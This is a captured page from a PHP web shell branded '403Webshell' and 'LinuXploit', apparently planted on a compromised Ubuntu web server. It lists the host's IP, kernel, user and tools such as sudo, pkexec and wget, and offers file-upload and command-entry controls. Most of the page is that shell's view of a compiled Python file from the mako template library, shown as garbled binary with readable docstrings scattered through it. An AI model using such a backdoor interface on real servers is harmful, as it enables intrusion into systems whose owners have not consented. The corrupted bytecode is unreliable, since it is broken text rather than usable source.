403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/mako/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mako/__pycache__/runtime.cpython-310.pyc
o

�p�^�m�@sXdZddlZddlZddlmZddlmZddlmZddlmZGdd�de	�Z
Gd	d
�d
e�ZGdd�de	�Z
e
�Zd
ZGdd�de	�ZGdd�de	�ZGdd�de	�ZGdd�de	�ZGdd�de�ZGdd�de�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd7d(d)�Zd8d+d,�Zd-d.�Zd/d0�Z d1d2�Z!d9d3d4�Z"d5d6�Z#dS):zdprovides runtime services for templates, including Context,
Namespace, and various helper functions.�N)�compat)�
exceptions)�util)�compat_builtinsc@s�eZdZdZdd�Zdd�Zedd��Zedd	��Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zd'dd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�ZdS)(�Contextz�Provides runtime namespace, output buffer, and various
    callstacks for templates.

    See :ref:`runtime_toplevel` for detail on the usage of
    :class:`.Context`.

     cKsR|g|_||_|��|_d|_d|_i|_t�t	|�|jd<t
�|_|jd<dS)N�capture�caller)�
_buffer_stack�_data�copy�_kwargs�_with_template�_outputting_as_unicode�
namespaces�	functools�partialr�CallerStack�caller_stack)�self�buffer�data�r�./usr/lib/python3/dist-packages/mako/runtime.py�__init__s
zContext.__init__cCs0||_|j�|j�}|rt�dd�|���dS)Nz%Reserved words passed to render(): %sz, )r
�reserved_names�intersectionr
r�NameConflictError�join)r�t�
illegal_namesrrr�_set_with_template.s���zContext._set_with_templatecC�|jjS)z]Return the :class:`.TemplateLookup` associated
        with this :class:`.Context`.

        )r
�lookup�rrrrr"7szContext.lookupcC�
|j��S)a]Return the dictionary of top level keyword arguments associated
        with this :class:`.Context`.

        This dictionary only includes the top-level arguments passed to
        :meth:`.Template.render`.  It does not include names produced within
        the template execution such as local variable names or special names
        such as ``self``, ``next``, etc.

        The purpose of this dictionary is primarily for the case that
        a :class:`.Template` accepts arguments via its ``<%page>`` tag,
        which are normally expected to be passed via :meth:`.Template.render`,
        except the template is being called in an inheritance context,
        using the ``body()`` method.   :attr:`.Context.kwargs` can then be
        used to propagate these arguments to the inheriting template::

            ${next.body(**context.kwargs)}

        )rrr#rrr�kwargs?s
zContext.kwargscCs|j�|�dS)zQPush a ``caller`` callable onto the callstack for
        this :class:`.Context`.N)r�append)rrrrr�push_callerUszContext.push_callercCs|jd=dS)zPPop a ``caller`` callable onto the callstack for this
        :class:`.Context`.���N)rr#rrr�
pop_caller[szContext.pop_callercCst|j���S)zAReturn a list of all names established in this :class:`.Context`.)�listr
�keysr#rrrr+aszContext.keyscCs||jvr
|j|Stj|S�N)r
r�__dict__�r�keyrrr�__getitem__fs


zContext.__getitem__cCst��}|j�|�|jS)zUpush a capturing buffer onto this Context and return
        the new writer function.)r�FastEncodingBufferr	r&�write�r�bufrrr�_push_writerlszContext._push_writercCs|j��}||jdjfS)zupop the most recent capturing buffer from this Context
        and return the current writer after the pop.

        r()r	�popr2r3rrr�_pop_buffer_and_writerts
zContext._pop_buffer_and_writercCs|��dS)z*push a capturing buffer onto this Context.N)r5r#rrr�_push_buffer}�zContext._push_buffercCr$)z7pop the most recent capturing buffer from this Context.)r	r6r#rrr�_pop_buffer�s
zContext._pop_bufferNcCs|j�|tj�||��S)z+Return a value from this :class:`.Context`.)r
�getrr-)rr/�defaultrrrr;�szContext.getcCs|jd�|�dS)zSWrite a string to this :class:`.Context` object's
        underlying output buffer.r(N�r	r2)r�stringrrrr2�sz
Context.writecCs|jdjS)z#Return the current writer function.r(r=r#rrr�writer�r9zContext.writercCsJt�t�}|j|_|j��|_|j|_|j|_|j|_|j|_|j	|_	|Sr,)
r�__new__r	r
rrr
rrr)r�crrr�_copy�s
z
Context._copycCs |s|S|��}|j�|�|S)z�Create a new :class:`.Context` with a copy of this
        :class:`.Context`'s current state,
        updated with the given dictionary.

        The :attr:`.Context.kwargs` collection remains
        unaffected.


        )rBr
�update)r�drArrr�_locals�s
zContext._localscCs6|��}|j}|�dd�|�dd�|�dd�|S)zfcreate a new copy of this :class:`.Context`. with
        tokens related to inheritance state removed.rN�parent�next)rBr
r6)rrA�xrrr�_clean_inheritance_tokens�sz!Context._clean_inheritance_tokensr,)�__name__�
__module__�__qualname__�__doc__rr �propertyr"r%r'r)r+r0r5r7r8r:r;r2r?rBrErIrrrrrs,	

	
rc@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)rcCs
d|_dSr,)�
nextcallerr#rrrr��
zCallerStack.__init__cC�|��Sr,��__bool__r#rrr�__nonzero__��zCallerStack.__nonzero__cCst|�r
|��r
dpdS)NTF)�len�_get_callerr#rrrrS�szCallerStack.__bool__cCs|dS�Nr(rr#rrrrW�szCallerStack._get_callercCst|��|�Sr,)�getattrrWr.rrr�__getattr__��zCallerStack.__getattr__cCs|jpd}|�|�d|_|Sr,)rOr&)r�framerrr�_push_frame�s

zCallerStack._push_framecCs|��|_dSr,)r6rOr#rrr�
_pop_frame�r[zCallerStack._pop_frameN)
rJrKrLrrTrSrWrZr]r^rrrrr�src@s(eZdZdZdd�Zdd�Zdd�ZdS)	�	Undefinedz�Represents an undefined value in a template.

    All template modules have a constant value
    ``UNDEFINED`` present which is an instance of this
    object.

    cCstd��)Nr_)�	NameErrorr#rrr�__str__�rUzUndefined.__str__cCrQr,rRr#rrrrT�rUzUndefined.__nonzero__cCsdS)NFrr#rrrrS�szUndefined.__bool__N)rJrKrLrMrarTrSrrrrr_�s
r_�c@sTeZdZdZdd�Zdd�Zdd�Zedd	��Zd
d�Z	dd
�Z
dd�Zdd�ZdS)�	LoopStackz�a stack for LoopContexts that implements the context manager protocol
    to automatically pop off the top of the stack on context exit
    cCs
g|_dSr,��stackr#rrrr�rPzLoopStack.__init__cCs|�|�|jSr,)�_push�_top�r�iterablerrr�_enter�s
zLoopStack._entercCs|��|jSr,)�_poprgr#rrr�_exitszLoopStack._exitcCs|jr|jdS|SrXrdr#rrrrgs
zLoopStack._topcCr$r,)rer6r#rrrrkrPzLoopStack._popcCs&t|�}|jr
|jd|_|j�|�SrX)�LoopContextrerFr&)rri�newrrrrfszLoopStack._pushcCs
t�d��)NzNo loop context is established)r�RuntimeExceptionr.rrrrZrPzLoopStack.__getattr__cC�
t|j�Sr,)�iterrgr#rrr�__iter__rPzLoopStack.__iter__N)
rJrKrLrMrrjrlrNrgrkrfrZrrrrrrrc�s
rcc@sreZdZdZdd�Zdd�Zejdd��Ze	dd	��Z
e	d
d��Ze	dd
��Ze	dd��Z
e	dd��Zdd�ZdS)rma�A magic loop variable.
    Automatically accessible in any ``% for`` block.

    See the section :ref:`loop_context` for usage
    notes.

    :attr:`parent` -> :class:`.LoopContext` or ``None``
        The parent loop, if one exists.
    :attr:`index` -> `int`
        The 0-based iteration count.
    :attr:`reverse_index` -> `int`
        The number of iterations remaining.
    :attr:`first` -> `bool`
        ``True`` on the first iteration, ``False`` otherwise.
    :attr:`last` -> `bool`
        ``True`` on the last iteration, ``False`` otherwise.
    :attr:`even` -> `bool`
        ``True`` when ``index`` is even.
    :attr:`odd` -> `bool`
        ``True`` when ``index`` is odd.
    cCs||_d|_d|_dS�Nr)�	_iterable�indexrFrhrrrr3s
zLoopContext.__init__ccs&�|jD]}|V|jd7_qdS�N�)rtru)r�irrrrr8s
�
�zLoopContext.__iter__cCrpr,)rVrtr#rrr�__len__=�
zLoopContext.__len__cCst|�|jdSrv)rVrur#rrr�
reverse_indexA�zLoopContext.reverse_indexcCs
|jdkSrs)rur#rrr�firstErzzLoopContext.firstcCs|jt|�dkSrv)rurVr#rrr�lastIr|zLoopContext.lastcCs|jSr,)�oddr#rrr�evenMszLoopContext.evencCst|jd�S)N�)�boolrur#rrrrQszLoopContext.oddcGs|std��||jt|�S)z5Cycle through values as the loop progresses.
        z(You must provide values to cycle through)�
ValueErrorrurV)r�valuesrrr�cycleUszLoopContext.cycleN)rJrKrLrMrrrr�memoized_instancemethodryrNr{r}r~r�rr�rrrrrms"





rmc@seZdZdd�Zdd�ZdS)�_NSAttrcCs
||_dSr,)�_NSAttr__parent)rrFrrrr^rPz_NSAttr.__init__cCs4|j}|rt|j|�rt|j|�S|j}|st|��r,)r��hasattr�modulerY�inherits�AttributeError)rr/�nsrrrrZas�z_NSAttr.__getattr__N)rJrKrLrrZrrrrr�]sr�c@s�eZdZdZ				ddd�ZdZdZ	dZ	dZ	dZ		dZ
	dZej
dd��Zd	d
�Zdd�Zd
d�Zedd��Zdd�Zdd�Zdd�Zdd�ZdS)�	Namespacea�Provides access to collections of rendering methods, which
      can be local, from other templates, or from imported modules.

      To access a particular rendering method referenced by a
      :class:`.Namespace`, use plain attribute access:

      .. sourcecode:: mako

        ${some_namespace.foo(x, y, z)}

      :class:`.Namespace` also contains several built-in attributes
      described here.

      NTcCs6||_||_||_|durtdd�|D��|_dSdS)NcS�g|]}|j|f�qSr�rJ��.0rArrr�
<listcomp>��z&Namespace.__init__.<locals>.<listcomp>)�name�contextr��dict�	callables)rr�r�r�r��
populate_self�calling_urirrrr|s	�zNamespace.__init__rcCst|�S)a-Access module level attributes by name.

        This accessor allows templates to supply "scalar"
        attributes which are particularly handy in inheritance
        relationships.

        .. seealso::

            :ref:`inheritance_attr`

            :ref:`namespace_attr_for_includes`

        )r�r#rrr�attr�szNamespace.attrcCsH||f}||jjvr|jj|St||j��||jd�}||jj|<|S)a]Return a :class:`.Namespace` corresponding to the given ``uri``.

        If the given ``uri`` is a relative URI (i.e. it does not
        contain a leading slash ``/``), the ``uri`` is adjusted to
        be relative to the ``uri`` of the namespace itself. This
        method is therefore mostly useful off of the built-in
        ``local`` namespace, described in :ref:`namespace_local`.

        In
        most cases, a template wouldn't need this function, and
        should instead use the ``<%namespace>`` tag to load
        namespaces. However, since all ``<%namespace>`` tags are
        evaluated before the body of a template ever runs,
        this method can be used to locate namespaces using
        expressions that were generated within the body code of
        the template, or to conditionally use a particular
        namespace.

        )�templateurir�)r�r�TemplateNamespacerB�_templateuri)r�urir/r�rrr�
get_namespace�s�zNamespace.get_namespacecCst|j||j�S)z�Return a :class:`.Template` from the given ``uri``.

        The ``uri`` resolution is relative to the ``uri`` of this
        :class:`.Namespace` object's :class:`.Template`.

        )�_lookup_templater�r�)rr�rrr�get_template�szNamespace.get_templatecKs|jj|fi|��S)a�Return a value from the :class:`.Cache` referenced by this
        :class:`.Namespace` object's :class:`.Template`.

        The advantage to this method versus direct access to the
        :class:`.Cache` is that the configuration parameters
        declared in ``<%page>`` take effect here, thereby calling
        up the same configured backend as that configured
        by ``<%page>``.

        )�cacher;)rr/r%rrr�
get_cached�szNamespace.get_cachedcCr!)zReturn the :class:`.Cache` object referenced
        by this :class:`.Namespace` object's
        :class:`.Template`.

        )�templater�r#rrrr�szNamespace.cachecKst|j||jfi|��dS)z$Include a file at the given ``uri``.N)�
_include_filer�r�)rr�r%rrr�include_fileszNamespace.include_filecCs@|D]}|dkr|��D]\}}|||<qqt||�||<qdS)N�*)�	_get_starrY)rrD�l�ident�k�vrrr�	_populates
��zNamespace._populateccs,�|jr|jD]}||j|fVqdSdSr,)r�r.rrrr�s�
�zNamespace._get_starcCsL||jvr|j|}n|jrt|j|�}n	td|j|f��t|||�|S�Nz!Namespace '%s' has no member '%s')r�r�rYr�r��setattr)rr/�valrrrrZ!s
�zNamespace.__getattr__�NNTN)rJrKrLrMrr�r�r�r��filenamer�r�r�memoized_propertyr�r�r�r�rNr�r�r�r�rZrrrrr�ks<
�


!	
r�c@sZeZdZdZ						ddd�Zedd��Zedd	��Zed
d��Zdd
�Z	dd�Z
dS)r�z@A :class:`.Namespace` specific to a :class:`.Template` instance.NTc	Cs�||_||_||_|durtdd�|D��|_|dur)t|||�|_|jjj|_	n|dur6||_|jj|_	nt
d��|rHt||j|d�\}	}
dSdS)NcSr�rr�r�rrrr�Ar�z.TemplateNamespace.__init__.<locals>.<listcomp>z 'template' argument is required.)�self_ns)r�r�r�r�r�r�r�r��
_template_urir��	TypeError�_populate_self_namespace)rr�r�r�r�r�r�r�r��lclcallable�
lclcontextrrrr2s"��zTemplateNamespace.__init__cCr!)z�The Python module referenced by this :class:`.Namespace`.

        If the namespace references a :class:`.Template`, then
        this module is the equivalent of ``template.module``,
        i.e. the generated module for the template.

        )r�r�r#rrrr�Q�	zTemplateNamespace.modulecCr!�zhThe path of the filesystem file used for this
        :class:`.Namespace`'s module or template.
        )r�r�r#rrrr�\�zTemplateNamespace.filenamecCr!)z�The URI for this :class:`.Namespace`'s template.

        I.e. whatever was sent to :meth:`.TemplateLookup.get_template()`.

        This is the equivalent of :attr:`.Template.uri`.

        )r�r�r#rrrr�cr�zTemplateNamespace.uric#sR��jr�jD]
}|�j|fVq�fdd�}�jjjD]	}|||�fVqdS)Ncs�j�|�}t�|�j�Sr,)r��_get_def_callablerrr�)r/�	callable_r#rrr;ssz(TemplateNamespace._get_star.<locals>.get)r�r�r��_exports)rr/r;r�rr#rr�ns�
�zTemplateNamespace._get_starcCst||jvr|j|}n'|j�|�r|j�|�}t�||j�}n|jr)t|j|�}n	t	d|j
|f��t|||�|Sr�)r�r��has_defr�rrr�r�rYr�r�r��rr/r�r�rrrrZzs
�zTemplateNamespace.__getattr__)NNNNTN)rJrKrLrMrrNr�r�r�r�rZrrrrr�.s"
�




r�c@s>eZdZdZ				ddd�Zedd��Zdd	�Zd
d�ZdS)
�ModuleNamespacez;A :class:`.Namespace` specific to a Python module instance.NTc
Csb||_||_||_|durtdd�|D��|_t|�}|�d�dd�D]}	t||	�}q$||_dS)NcSr�rr�r�rrrr��r�z,ModuleNamespace.__init__.<locals>.<listcomp>�.rw)	r�r�r�r�r��
__import__�splitrYr�)
rr�r�r�r�r�r�r��mod�tokenrrrr�s

zModuleNamespace.__init__cCr!r�)r��__file__r#rrrr��r�zModuleNamespace.filenameccsl�|jr|jD]
}||j|fVqt|j�D]}|ddkr3t|j|�}t|�r3|t�||j�fVqdS)Nr�_)r��dirr�rY�callablerrr�)rr/r�rrrr��s�
��zModuleNamespace._get_starcCst||jvr|j|}n't|j|�rt|j|�}t�||j�}n|jr)t|j|�}n	td|j	|f��t
|||�|Sr�)r�r�r�rYrrr�r�r�r�r�r�rrrrZ�s
�zModuleNamespace.__getattr__r�)	rJrKrLrMrrNr�r�rZrrrrr��s
�

r�c��fdd�}|S)z�Apply a caller_stack compatibility decorator to a plain
    Python function.

    See the example in :ref:`namespaces_python_modules`.

    cs:|j��z�|g|�Ri|��W|j��S|j��wr,)rr]r^)r��argsr%��funcrr�wrap_stackframe�s
z(supports_caller.<locals>.wrap_stackframer)r�r�rr�r�supports_caller�sr�cOsFt|�s	t�d��|��z||i|��W|��}|��S|��}w)z�Execute the given template def, capturing the output into
    a buffer.

    See the example in :ref:`namespaces_python_modules`.

    z[capture() function expects a callable as its argument (i.e. capture(func, *args, **kwargs)))r�rror8r:�getvalue)r�r�r�r%r4rrrr�s�
�rcr�)Ncs��fdd�}|S)NcsP��fdd�}z
�jdd�|_Wn	tyYnw�|��g|�Ri|��S)Nc���g|�Ri|��Sr,r�r��kw)r��	render_fnrr�y��zB_decorate_toplevel.<locals>.decorate_render.<locals>.go.<locals>.y�)rJr�)r�r�r�r�)�fnr�)r�r�go�s�z7_decorate_toplevel.<locals>.decorate_render.<locals>.gor�r�r��r�)r�r�decorate_render�sz+_decorate_toplevel.<locals>.decorate_renderr)r�r�rr�r�_decorate_toplevel�sr�cs��fdd�}|S)Ncs�|����fdd�}|S)Ncr�r,rr�)r��decrrr�r�z5_decorate_inline.<locals>.decorate_render.<locals>.gorr��r�r�)r�rr��sz)_decorate_inline.<locals>.decorate_renderr)r�r�r�rr�r�_decorate_inline�sr�cKs�t|||�}t|��|�\}}t||jfi|��}|jrFz||fi|��WdStyE|�|t���}|sBtj	t
���YdSYdSw||fi|��dS)zPlocate the template from the given uri and include it in
    the current output.N)r�r�rI�_kwargs_for_includer
�include_error_handler�	Exceptionr�exception_as�reraise�sys�exc_info)r�r�r�r%r�r��ctx�resultrrrr�
s���r�c
Cs�|durdSt|||�}|d}|}|jdur|j}|jdus|�d|i�}td|j||dd�|_|j|jd<|jd<t|jd	d�}|durQ|||�}|rQ|St|jd
d�}	|	dur`|	|�|j|fS)z�called by the _inherit method in template modules to set
    up the inheritance chain at the start of a template's
    execution.NrrG�self:%sF�r�r�rF�local�
_mako_inherit�_mako_generate_namespaces)	r�r�rEr�r�r
rYr�r�)
r�r�r�r�r��ihr�r��ret�gen_nsrrr�
_inherit_froms2

��

r�cCs^|jj}|durt�d|jj��|�||�}z|�|�WStjy.t�tt	�
����w)Nz.Template '%s' has no TemplateLookup associated)r
r"r�TemplateLookupExceptionr��
adjust_urir��TopLevelLookupException�strrr�)r�r��
relativetor"rrrr�>s���r�cCs^|durtd|j||dd�}||jd<|jd<t|jd�r*|j�||�}|r*|S|j|fS)Nr�Fr�rr�r�)r�r�r
r�r�r�r�)r�r�r�r�rrrr�Ls�
r�FcCs�|r	tjdd�}n|jrt��}n
tj||j|jd�}t|fi|��}||_|�	|�t
|||g|�Rit||���|���
�S)z^create a Context and return the string
    output of the given template and template callable.T��
as_unicode)r��encoding�errors)rr1�bytestring_passthroughr�StringIO�output_encoding�encoding_errorsrrr �_render_context�_kwargs_for_callabler:r�)r�r�r�rr�r4r�rrr�_render\s,
�
���rcCsjt�|�}|dr|S|ddd�|dd�D�}i}|D]}|dkr2||vr2||vr2||||<q|S)Nr�rcS�g|]}|dur|�qSr,r�r�r�rrrr��z(_kwargs_for_callable.<locals>.<listcomp>rw�r��r�inspect_getargspec)r�r�argspec�	namedargsr%�argrrrrxs
�rcKsZt�|�}|ddd�|dd�D�}|D]}|dkr*||vr*||vr*||||<q|S)NrcSrr,rrrrrr��rz'_kwargs_for_include.<locals>.<listcomp>rwr	r�r
)r�rr%rr
rrrrr��s
�r�cOs^ddlm}t||j�st||�\}}t||||d�dSt||j�\}}t||||d�dS)Nr)r�r%)�
mako.templater��
isinstance�DefTemplater��_exec_templaterF)�tmplr�r�r�r%r��inheritr�rrrr�srcCs�|j}|dur?|js
|jr?z||g|�Ri|��WdSty-t||t���YdSt��d}t|||�YdS||g|�Ri|��dS)z�execute a rendering callable given the callable, a
    Context, and optional explicit arguments

    the contextual Template will be located if it exists, and
    the error handling options specified on that Template will
    be interpreted here.
    Nr)	r
�format_exceptions�
error_handlerr��
_render_errorrr�r�r�)r�r�r�r%r��errrr�s��rcCs�|jr|�||�}|stjt���dSdSt��}|jr*tj	dd�g|j
dd�<nt�	|j|j�g|j
dd�<|�
|�|j||d�dS)NTr�)�error)rrr�r�r�r�html_error_templaterrr1r	rrr �render_context)r�r�rr��error_templaterrrr�s �
���
rr,)F)NN)$rMrr��makorrr�mako.compatr�objectrr*rr_�	UNDEFINED�STOP_RENDERINGrcrmr�r�r�r�r�rr�r�r�r�r�r�rrr�rrrrrrr�<module>sD-(BD]: 

	


Youez - 2016 - github.com/yon3zu
LinuXploit